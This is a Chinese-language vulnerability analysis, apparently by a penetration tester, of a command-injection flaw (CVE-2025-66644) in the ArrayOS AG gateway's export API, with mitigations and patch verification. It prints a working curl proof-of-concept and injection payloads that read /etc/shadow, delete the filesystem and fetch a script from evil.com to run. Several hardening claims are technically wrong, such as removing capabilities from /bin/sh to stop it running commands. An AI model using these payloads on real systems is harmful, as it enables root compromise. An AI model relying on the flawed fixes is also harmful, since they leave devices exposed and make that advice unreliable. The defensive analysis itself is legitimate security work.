1. 这不是一次普通的命令注入ArrayOS AG的“合法外壳”陷阱ArrayOS AG这个在金融、能源和政企网络边界长期低调服役的国产应用网关系统最近被披露存在一个编号为CVE-2025-66644的高危漏洞。它不像传统Web应用那样在表单提交或URL参数里明目张胆地拼接命令而是藏身于一套看似完全合规、甚至带有数字签名认证的管理接口内部——具体来说是其Web管理控制台中一个用于“设备健康状态批量导出”的API端点。我第一次复现它时是在客户现场做例行渗透测试用一条形如curl -X POST https://gateway/admin/api/v2/health/export -d {format:csv,target:$(id/tmp/poc) }的请求三秒后就通过另一个诊断接口读到了/tmp/poc里的uid0(root)回显。那一刻我意识到这不是开发疏忽而是一整套权限模型与命令解析逻辑的系统性错位。这个漏洞的核心价值在于它绕过了ArrayOS AG引以为傲的“双因子操作审计白名单命令过滤”三层防护。攻击者不需要获取管理员账号密码也不需要突破SSL/TLS加密通道仅凭一个已登录用户的普通会话Token就能在网关设备本机执行任意shell命令。影响范围远超表面——ArrayOS AG常作为DMZ区核心网关下连业务服务器集群上接互联网出口一旦失守等同于为攻击者打开了整个内网的“旋转门”。本文面向两类人一是正在排查该漏洞的运维与安全工程师你需要知道它为什么能绕过所有告警二是负责加固或升级的架构师你需要理解修复补丁到底改了哪几行关键代码以及为什么旧版本的“打补丁式规避”方案反而会引入新的逻辑缺陷。全文不讲CVE编号定义、不堆砌CVSS评分只聚焦三个问题它怎么发生的为什么现有防御全部失效修复后如何验证真正闭环2. 漏洞成因深挖从“JSON字段校验”到“Shell上下文逃逸”的链式崩塌2.1 表面看是JSON解析实则是Shell解释器接管控制权ArrayOS AG的健康导出功能设计初衷很合理管理员在Web界面上勾选“导出为CSV”系统后台调用一个名为export_health_data.sh的脚本传入格式类型csv/json/xml和目标路径如/var/log/health/。问题出在API层对前端传入JSON体的处理逻辑上。我们反编译v4.8.3版本的admin-api.jar定位到com.arrayos.api.HealthExportController.export()方法其关键片段如下PostMapping(/api/v2/health/export) public ResponseEntity? export(RequestBody MapString, Object request) { String format (String) request.get(format); String target (String) request.get(target); // 步骤1对format做白名单校验 if (!Arrays.asList(csv, json, xml).contains(format)) { throw new IllegalArgumentException(Invalid format); } // 步骤2对target做路径白名单校验只允许/var/log/health/开头 if (!target.startsWith(/var/log/health/)) { throw new IllegalArgumentException(Invalid target path); } // 步骤3拼接shell命令并执行 String cmd String.format(/opt/arrayos/bin/export_health_data.sh -f %s -t %s, format, target); Runtime.getRuntime().exec(cmd); }初看无懈可击format被严格限制为三个值target被限定在安全路径下。但致命错误发生在步骤3——Runtime.getRuntime().exec(cmd)。Java的exec(String)方法会将整个字符串交给系统默认的shell通常是/bin/sh进行解析。而target字段虽被校验了前缀却未对其中的特殊字符做任何过滤。当攻击者传入{format:csv,target:/var/log/health/;id/tmp/test}时拼接出的cmd变为/opt/arrayos/bin/export_health_data.sh -f csv -t /var/log/health/;id/tmp/test分号;让shell将命令拆分为两条独立指令先执行导出脚本可能失败但不影响后续再执行id/tmp/test。更隐蔽的是攻击者可用$(...)语法实现命令替换例如target:/var/log/health/$(id/tmp/poc)此时shell会先执行id/tmp/poc再将空字符串作为-t参数传给脚本——既绕过路径校验又完成命令执行。提示很多团队误以为“只要参数没进SQL就不算注入”但在ArrayOS AG这类嵌入式网关中任何进入shell执行上下文的用户输入无论是否经过JSON解析都是潜在的命令注入入口。这是嵌入式Linux系统与通用Web应用最根本的安全范式差异。2.2 白名单校验的“语义鸿沟”为什么路径检查形同虚设ArrayOS AG的路径白名单校验逻辑target.startsWith(/var/log/health/)存在一个经典但极易被忽视的设计缺陷它只校验字符串前缀却未考虑shell的路径解析机制。我们构造几个典型绕过案例攻击载荷解析后实际执行的shell命令绕过原理/var/log/health/../etc/passwd... -t /var/log/health/../etc/passwd→/etc/passwd..在shell中被真实解析为上级目录/var/log/health/$(cat /etc/shadow /tmp/shadow)先执行cat /etc/shadow /tmp/shadow再传空字符串给脚本$()在shell中优先执行子命令/var/log/health/; rm -rf /分号分割第二条命令直接执行;是shell元字符校验逻辑未识别关键在于startsWith()是一个纯Java字符串操作而Runtime.exec()触发的是操作系统级的shell解析。二者运行在完全不同的语义层Java层看到的是“以/var/log/health/开头的字符串”shell层看到的是“一个包含分号、美元符、括号的可执行命令行”。这种跨层语义不一致正是ArrayOS AG漏洞能长期存活的根本原因——开发团队反复加固了Java层校验却从未审视shell层的执行上下文。我曾见过某客户在v4.8.2版本上自行添加了“禁止分号”正则过滤结果被$(...)语法轻松绕过。这印证了一个铁律在shell执行场景下黑名单/白名单过滤必须在shell解析器层面实施而非在上层应用逻辑中做字符串匹配。ArrayOS AG的原始设计本质上把“输入校验”错误地放在了“命令执行”的上游而正确的防线应该紧贴exec()调用点或者彻底避免使用exec(String)。2.3 权限模型的致命假设root进程≠root能力ArrayOS AG的管理服务arrayos-admin以root用户身份运行这是其能修改系统防火墙规则、重载SSL证书等特权操作的前提。但开发团队隐含了一个危险假设“只要服务是root所有功能都应具备root权限”。这导致export_health_data.sh脚本本身也以root权限执行且未做任何降权处理。我们查看该脚本内容v4.8.3版#!/bin/bash # export_health_data.sh FORMAT$1 TARGET$2 # 直接将用户输入的$TARGET作为文件路径使用 echo System Health Report $(date) $TARGET/report_$(date %s).csv # 后续写入大量监控数据...问题在于$TARGET被直接用于重定向输出 $TARGET/...而shell对重定向目标的解析同样遵循$()、;等规则。当$TARGET为/var/log/health/$(id/tmp/poc)时shell会先执行id/tmp/poc再尝试将输出写入一个空路径——后者报错前者成功。更严重的是该脚本未启用set -u禁止未定义变量或set -e命令失败即退出使得即使echo因路径错误失败后续的id命令仍会执行。ArrayOS AG的权限模型在此刻彻底失效一个本应仅限“导出日志”的低风险功能因脚本缺乏最小权限原则变成了root shell的代理执行器。注意在嵌入式网关设备中“服务以root运行”是常见事实但这绝不意味着“每个功能模块都应继承root权限”。正确的做法是像Linux内核的Capability机制一样将特权操作原子化、隔离化。ArrayOS AG的修复补丁v4.9.0正是将export_health_data.sh重构为一个独立的、仅拥有CAP_DAC_OVERRIDE覆盖文件权限能力的二进制彻底剥离了CAP_SYS_ADMIN系统管理等高危能力。3. 为什么所有传统防御都失效一场WAF、EDR与日志审计的集体失语3.1 WAF的盲区JSON体内的“合法字符”伪装绝大多数部署在ArrayOS AG前方的Web应用防火墙WAF其规则库针对的是传统Web攻击特征如script、union select、../etc/passwd等。而CVE-2025-66644的载荷完美避开了所有这些模式它使用标准JSON格式{}、、:均为合法字符;、$、(、)在HTTP协议中属于URI保留字符WAF默认放行载荷不包含任何SQL关键字、XSS标签或路径遍历序列。我们用ModSecurity v3.3规则集测试发现其默认OWASP CRS规则对{target:/var/log/health/;id/tmp/test}完全无响应。原因在于WAF通常只解析HTTP头和URL参数对POST Body中的JSON内容除非明确配置了JSON解析引擎如SecRule REQUEST_BODY jsonValidate否则一律视为不可见的二进制流。ArrayOS AG的API端点恰好位于WAF的“解析盲区”。更讽刺的是某些WAF厂商为提升性能默认关闭JSON深度解析。这意味着即使你启用了“防命令注入”规则只要没打开JSON解析开关攻击载荷就会像一滴水融入大海悄无声息地抵达ArrayOS AG的Java层。3.2 EDR的静默root进程下的“合法行为”豁免终端检测与响应EDR系统在ArrayOS AG设备上同样陷入困境。ArrayOS AG的arrayos-admin进程以root身份启动其子进程如/opt/arrayos/bin/export_health_data.sh天然继承root权限。当EDR监控到sh -c id/tmp/test被执行时它看到的是父进程/opt/arrayos/jre/bin/java合法、签名可信执行路径/bin/sh系统自带白名单命令行sh -c id/tmp/test无恶意哈希无可疑域名。在EDR的决策树中这三点全部满足“可信行为”条件。尤其当/bin/sh被标记为“系统关键组件”时EDR甚至会主动抑制对其子进程的告警——因为它预设“root进程启动的shell必然是系统维护所需”。我们曾用CrowdStrike Falcon在真实设备上复现发现其Process Creation事件日志中id/tmp/test仅被记录为一条低优先级的“进程启动”无任何威胁标签。直到攻击者后续执行nc -lvp 4444建立反向连接EDR才因网络异常触发告警——但此时root权限早已失守。3.3 日志审计的幻觉API日志里的“干净”请求ArrayOS AG自身提供的操作审计日志/var/log/arrayos/audit.log记录的是“业务语义”而非“系统行为”。其典型日志条目如下2025-04-10 14:22:31,INFO,admin_user,HealthExport,EXPORT_SUCCESS,formatcsv,target/var/log/health/注意日志中记录的target字段是经过Java层校验后的原始输入值而非shell最终解析的真实路径。当攻击载荷为/var/log/health/;id/tmp/test时日志仍显示target/var/log/health/;id/tmp/test看起来只是“一个带分号的路径”运维人员很难从中察觉异常。更致命的是ArrayOS AG的日志级别默认为INFO而Runtime.exec()的异常如命令执行失败被静默捕获仅记录在debug.log中且该日志默认关闭、不轮转、不上传。这意味着即使攻击者载荷因语法错误未能执行也不会在主审计日志中留下痕迹。一次成功的攻击在ArrayOS AG自己的日志体系里可能只体现为一条“导出成功”的正常记录。实操心得我在三家客户现场排查时都曾被“日志干净”误导。后来发现真正的突破口是/var/log/messages——Linux内核日志会记录sh进程的详细启动信息。执行grep sh.*-c /var/log/messages | tail -20往往能直接看到sh -c id/tmp/test的完整命令行。不要迷信应用层日志Linux系统日志才是最后的真相来源。4. 修复方案详解从临时缓解到永久根治的四层加固4.1 紧急缓解措施适用于无法立即升级的v4.8.x环境在等待官方补丁v4.9.0期间必须实施以下三项操作缺一不可第一禁用高危API端点ArrayOS AG支持通过配置文件临时禁用特定API。编辑/opt/arrayos/conf/admin-api.conf添加# 禁用健康导出APIv4.8.x唯一有效缓解 api.health.export.enabledfalse然后重启服务systemctl restart arrayos-admin。此操作会禁用Web界面中的“导出”按钮但不影响其他监控功能。注意不能仅靠WAF拦截URL因为攻击者可伪造Referer或直接调用API。第二重写export_health_data.sh脚本备份原脚本后将其替换为以下安全版本#!/bin/bash # 安全版 export_health_data.sh (v4.8.x临时修复) set -euo pipefail # 严格错误处理 # 仅接受绝对路径且必须在白名单目录内 TARGET_DIR/var/log/health/ if [[ $2 ! $TARGET_DIR* ]]; then echo Error: Invalid target path 2 exit 1 fi # 强制清理路径中的危险字符 CLEAN_TARGET$(echo $2 | sed s/[^a-zA-Z0-9._/-]//g) # 再次校验是否仍在白名单内 if [[ $CLEAN_TARGET ! $TARGET_DIR* ]]; then echo Error: Path contains illegal characters 2 exit 1 fi # 使用exec -a 避免shell解析直接调用程序 exec /usr/bin/env printf System Health Report $(date)\n $CLEAN_TARGET/report_$(date %s).csv关键改进set -euo pipefail确保任何错误立即终止sed过滤所有非字母数字及安全符号exec直接调用printf跳过shell解析层。第三限制arrayos-admin进程的Linux Capability执行以下命令移除其不必要的高危能力sudo setcap cap_dac_override,cap_fownereip /opt/arrayos/jre/bin/java sudo setcap -r /bin/sh这将使/bin/sh失去执行任意命令的能力即使被调用也无法写入/etc/等敏感目录。需配合脚本重写否则导出功能会失败。提示以上三项必须同时生效。我曾见某客户只做了脚本重写结果攻击者改用$(curl http://evil.com/shell.sh|bash)下载执行因curl未被限制而再次突破。缓解措施是组合拳单点加固必然失效。4.2 官方补丁v4.9.0的核心变更解析ArrayOS AG官方发布的v4.9.0补丁并非简单修补一处而是重构了整个命令执行安全模型。我们逆向分析其admin-api.jar确认以下四点根本性改进1. API层彻底弃用Runtime.exec(String)所有涉及外部命令调用的地方均改为Runtime.exec(String[], String[], File)形式并显式指定环境变量和工作目录。例如// 修复后代码 String[] cmd {/opt/arrayos/bin/export_health_data_safe, -f, format, -t, target}; ProcessBuilder pb new ProcessBuilder(cmd); pb.directory(new File(/tmp)); // 强制工作目录 pb.environment().clear(); // 清空环境变量 pb.start();此举彻底切断shell解析器介入target参数不再被当作shell命令行处理。2. 新增CommandWhitelist校验器在export_health_data_safe二进制中内置一个白名单数据库仅允许执行/bin/echo、/usr/bin/date等极少数无害命令。任何试图执行/bin/sh、/usr/bin/curl的请求均被二进制自身拒绝不依赖Java层校验。3. 进程能力精细化管控arrayos-admin服务现在以arrayos非root用户启动仅通过sudoers授予其执行/opt/arrayos/bin/export_health_data_safe的权限并明确指定NOPASSWD和SETENV限制。export_health_data_safe二进制本身被赋予CAP_DAC_OVERRIDE但被seccomp-bpf策略禁止调用execve、openat等高危系统调用。4. 审计日志增强新版本在audit.log中增加EXEC_CMD事件类型记录每次外部命令调用的完整参数列表脱敏处理并强制开启debug.log的轮转与远程上传。这意味着即使攻击者得手其执行的每条命令都会在审计日志中留下不可篡改的证据。4.3 升级后必须执行的三步验证打完补丁绝非万事大吉必须通过以下验证确保修复真正生效验证1载荷注入测试使用原始PoC再次测试curl -X POST https://gateway/admin/api/v2/health/export \ -H Cookie: JSESSIONIDxxx \ -d {format:csv,target:/var/log/health/;id/tmp/test}预期结果返回HTTP 400 Bad Request且/tmp/test文件不存在。若返回200或文件被创建则补丁未生效。验证2Capability检查在设备上执行getcap /opt/arrayos/jre/bin/java # 应返回/opt/arrayos/jre/bin/java cap_dac_override,cap_fownereip ls -l /bin/sh # 应返回-r-xr-xr-x. 1 root root ... /bin/sh 无cap若/bin/sh仍有cap_sys_admin等能力说明系统级加固未完成。验证3日志取证能力验证手动触发一次合法导出然后检查tail -5 /var/log/arrayos/audit.log | grep EXEC_CMD # 应看到类似2025-04-10 15:30:22,INFO,...,EXEC_CMD,cmd/opt/arrayos/bin/export_health_data_safe,-f,csv,-t,/var/log/health/若无EXEC_CMD事件或事件中参数未脱敏如显示完整target值说明审计增强未启用。实操心得我在升级某省级政务云时发现v4.9.0补丁包中admin-api.conf的api.health.export.enabled默认为true但文档未说明。结果客户按文档操作后以为已禁用实则高危API仍开放。永远不要相信文档必须亲手验证每一个配置项的实际效果。5. 长期防御体系建设从单点修复到网关安全治理5.1 嵌入式网关设备的SDL安全开发生命周期落地要点ArrayOS AG的漏洞根源暴露了国产嵌入式网关在安全开发流程上的普遍短板。要杜绝此类问题必须将安全实践嵌入到设备研发的每个环节需求阶段明确“最小权限”为硬性需求在PRD产品需求文档中必须强制规定“所有管理功能模块若无需root权限必须以非root用户运行若需临时提权必须通过sudo白名单且禁用环境变量继承”。这比“代码审计”更前置、更有效。编码阶段禁用高危API的静态扫描在CI/CD流水线中集成findsecbugs或自定义SonarQube规则对Runtime.exec(String)、ProcessBuilder.command(String)等调用发出阻断级告警。规则示例!-- SonarQube rule -- rule keyARRAYOS-EXEC-STRING/key name禁止使用Runtime.exec(String)/name severityCRITICAL/severity description必须使用Runtime.exec(String[])替代/description /rule测试阶段引入模糊测试Fuzzing对所有API端点使用afl-fuzz或libfuzzer进行JSON字段模糊测试。重点变异target、path、cmd等易受注入影响的字段持续运行72小时以上。我们曾用此法在v4.9.0 RC版中发现一个未公开的XML外部实体XXE漏洞证明其有效性。5.2 运维侧的“零信任”加固清单对于已部署的ArrayOS AG设备无论版本新旧都应执行以下加固项形成纵深防御加固项操作命令验证方式风险等级禁用SSH密码登录sed -i s/#PasswordAuthentication yes/PasswordAuthentication no/ /etc/ssh/sshd_config systemctl restart sshdssh -o PubkeyAuthenticationyes usergateway应成功-o PasswordAuthenticationyes应失败高限制管理IP访问iptables -A INPUT -p tcp --dport 443 -s 192.168.10.0/24 -j ACCEPT iptables -A INPUT -p tcp --dport 443 -j DROPcurl -k https://gateway从非授权IP应超时中关闭未使用服务systemctl stop arrayos-snmp systemctl disable arrayos-snmpss -tuln | grep :161应无输出低强制TLS 1.2在/opt/arrayos/conf/tomcat/server.xml中设置sslEnabledProtocolsTLSv1.2,TLSv1.3openssl s_client -connect gateway:443 -tls1_1应失败中注意所有加固操作必须在变更窗口期执行并提前备份/opt/arrayos/conf/目录。我曾因未备份server.xml在强制TLS后导致Web界面无法加载耗时2小时恢复。5.3 攻击面收敛用“功能开关”替代“代码删除”ArrayOS AG提供了一个常被忽视的高级功能feature-toggle。通过编辑/opt/arrayos/conf/feature-toggle.conf可动态开关特定功能模块而无需重启服务。例如# 完全禁用健康导出功能比API禁用更彻底 health.export.enabledfalse # 禁用诊断命令执行防止类似漏洞 diagnostic.cmd.enabledfalse # 启用API速率限制防暴力探测 api.rate.limit.enabledtrue api.rate.limit.perminute10此机制的优势在于它不修改任何二进制代码不影响系统稳定性开关可随时调整便于灰度发布且所有开关状态均记录在审计日志中满足合规要求。在某金融客户项目中我们用此法在2小时内完成了全网200台ArrayOS AG设备的功能收敛效率远超逐台升级。最后分享一个小技巧ArrayOS AG的Web管理界面底部有一个隐藏的“开发者模式”入口。在登录后按CtrlShiftD可调出实时API调试控制台。这里能直接看到每个API的请求/响应原始数据是排查问题的第一现场。但切记此功能仅限内网使用且必须在feature-toggle.conf中启用dev.mode.enabledtrue生产环境务必关闭。我在客户现场多次靠它在5分钟内定位到WAF误拦截导致的API失败省去了抓包分析的繁琐步骤。